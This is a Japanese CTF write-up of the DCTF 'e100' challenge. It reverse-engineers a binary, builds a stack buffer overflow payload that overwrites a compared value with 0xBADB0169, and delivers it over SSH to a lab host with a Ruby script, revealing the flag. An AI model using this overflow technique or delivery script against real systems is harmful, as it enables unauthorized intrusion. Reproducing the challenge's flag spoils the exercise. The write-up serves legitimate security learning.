Our second newest programmer created a tool so that we can encrypt our usual passwords and use more secure ones wherever we register new accounts. He said that he left some sort of an easter egg that could leverage you, but he doesn't really expect anyone to get it. You are the newest programmer, can you find it and prove him you are the one?

Hack the target when you've figured out with this file.

Target: dctf@10.13.37.6:22
Key
与えられたバイナリを実行すると、"Enter password:"とプロンプトが表示されます。適当にパスワードを入力すると、"Your new secure password is:"と表示され、そのあとに入力内容に応じて何らかの値が出力されます。
# ./e100
Enter password: abcdefg
Your new secure password is: �������
IDA Pro Freeで該当箇所を見てみましょう。レジスタEBPから-2Ch(-44バイト)のアドレス位置に"Enter password:"で入力した内容が格納され、レジスタEBPから+8(バイト)の位置から、「BADB0169h」と比較して条件分岐しています。一致すれば、"cat flag"のコマンドが実行されてフラグが表示されると思われます。

no title

下図は、edb-debuggerでステップ実行したときのスクリーンショットです。ちょうど比較のところで止めています。
1

さらに下図は、メモリの状態です。bfde:a5acのところから入力した文字列(abcdefg)が格納されています。比較対象となるアドレスは44+8バイト先の部分ですので、この図ではbfde:a5e0の部分(da da da da)になります。この部分に「69 01 db ba」を格納すれば良いと思われます。
2

入力データの52バイトまではダミーで、53バイト目から「69 01 db ba」を設定します。最後は改行で終わります。これをtest.datというファイル名で保存します。
 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  61 62 63 64 65 66 67 68 00 00 00 00 00 00 00 00   abcdefgh........
 00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
 00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
 00000030  00 00 00 00 69 01 DB BA 0A                        ....i.ۺ.       
Rubyで次のようなプログラムを書きます。最初にSSHで指定されたサーバに接続し、"Enter password:"の入力プロンプトが来たら、上で作成したtest.datの内容を送信します。
require 'rubygems'
require 'net/ssh'
 
Net::SSH.start('10.13.37.6', 'dctf', :keys => ['id_rsa_e100.txt']) do |ssh|
    command = "\n"
    channel = ssh.open_channel do |ch|
      channel.request_pty do |ch, success|
        raise "Could not obtain pty " if !success
      end
      channel.exec command do |ch, success|
        raise "failed to execute command" unless success
        ch.on_data do |c, data|
          if data =~ /password/ then #入力ダイアログが来たら
            pass = "1234567890\n"
            File.open('test.dat', 'r') do |io|
              io.binmode
              pass = io.read
            end
            channel.send_data pass #パスワードを送信する
          end
          puts data
        end
      end
    end
    ssh.loop#転送待ち
end
その結果が下記になります。見事フラグが表示されました。
ruby.exe: warning: -K is specified; it is for 1.8 compatibility and may cause odd behavior
aaaa.rb:7: warning: shadowing outer local variable - ch
aaaa.rb:10: warning: shadowing outer local variable - ch
Enter password:
abcdefgh^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@i^Aۺ

DCTF{3671bacdb5ea5bc26982df7da6de196e}

*** stack smashing detected ***: /home/dctf/e100 terminated
フラグは、
DCTF{3671bacdb5ea5bc26982df7da6de196e}
です。